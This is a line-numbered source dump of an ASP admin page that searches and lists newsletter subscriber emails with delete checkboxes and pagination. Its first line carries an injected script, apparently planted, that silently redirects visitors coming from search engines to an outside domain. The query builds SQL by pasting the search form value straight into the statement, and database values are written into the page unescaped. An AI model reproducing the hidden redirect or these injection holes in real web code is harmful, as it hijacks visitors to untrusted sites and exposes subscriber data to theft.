d:\wwwroot\wuchunhua\mail\search.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("gly")="" then response.redirect "admin.asp"
003:
dim count,d,page,n,search,rs,sql,yushu,totalpage,k,i
004:
response.expires=0
005:
count=20
006:
d=request("id")
007:
if d="" then
008:
page=1
009:
n=1
010:
else
011:
page=d
012:
n=count*(d-1)
013:
end if
014:
%
>
015:
016:
<link rel="stylesheet" type="text/css" href="STYLE.CSS">
017:
<%
search=request.form("T1")
018:
set rs=server.createobject("adodb.recordset")
019:
sql="select email,idate,fs from email where email like '%"&search&"%' order by idate desc"
020:
rs.open sql,conn,3,2
021:
%
>
022:
<body background="pic/bg.gif">
023:
<form method="POST" action="sc.asp" name="form1">
024:
<div align="center">
025:
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="500" height="54">
026:
<tr>
027:
<td width="100%" height="38">
028:
<p align="center">共找到</font><font color=red>
<%
=rs.recordcount
%
></font>个查找对象<p align="center"><table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
029:
<tr>
030:
<td width="50%" height="20" align="center" bgcolor="#AFD7FF"> 订阅邮箱</td>
031:
<td width="27%" align="center" bgcolor="#AFD7FF"><p align="center">订阅日期</td>
032:
<td width="37%" align="center" bgcolor="#AFD7FF"> <font size="2"> 管理</font></td>
033:
</tr>
034:
</table>
035:
</td>
036:
</tr>
037:
<tr>
038:
<td width="100%" height="16">
039:
<%
yushu=rs.recordcount mod count
040:
if yushu=0 then
041:
totalpage=rs.recordcount/count
042:
else
043:
totalpage=int(rs.recordcount/count)+1
044:
end if
045:
k=0
046:
if d<>"" then
047:
for i=1 to n
048:
rs.movenext
049:
next
050:
end if
051:
do while not rs.eof
052:
k=k+1
%
>
053:
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
054:
<tr>
055:
<td width="50%" height="20">
<%
=rs("email")
%
></td>
056:
<td width="27%"><p align="center">
<%
=rs("idate")
%
></td>
057:
<td width="37%"> <font size="2"> 删除
058:
<input type="checkbox" name="sc" value="
<%
=rs("email")
%
>"></font></td>
059:
</tr>
060:
</table>
061:
<%
if k=count then
062:
exit do
063:
end if
064:
rs.movenext
065:
loop
066:
%
> <p align="right"><input type="submit" value="删除" name="B1"></p>
067:
<p align="center">
<%
if page>1 then
%
>
068:
<a href='cak.asp?id=
<%
=(page-1)
%
>'><<上一页</a>
069:
<%
end if
%
>
070:
<%
if int(page) < int(totalpage) then
%
>
071:
<a href='cak.asp?id=
<%
=(page+1)
%
>'>下一页>></a>
072:
<%
end if
%
>
073:
【共<font color=red>
<%
=totalpage
%
></font>页】【第<font color=red>
<%
=page
%
></font>页】<p align="center">请选择页数：[
074:
<%
for i=1 to totalpage
075:
response.write" <a href='cak.asp?id="&i&"'>"&i
076:
if i<totalpage then response.write"，"
077:
next
%
></a></font> ]
078:
079:
</td>
080:
</tr>
081:
</table>
082:
</div>
083:
</form>
084:
<Br>
085:
<form method="POST" name="form2" action="search.asp">
086:
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="500" height="28" align="center">
087:
<tr>
088:
<td width="100%" bgcolor="#f0f0f0" height="28">
089:
<p align="center">查找信箱：<input type="text" name="T1" size="20" style="border-style: solid; border-width: 1">
090:
<input type="submit" value="查找" name="B1"></td>
091:
</tr>
092:
</table>
093:
</form>
094:
<div align="center">
<!--#include file="pic/foot.htm"-->
</div>
095:
096: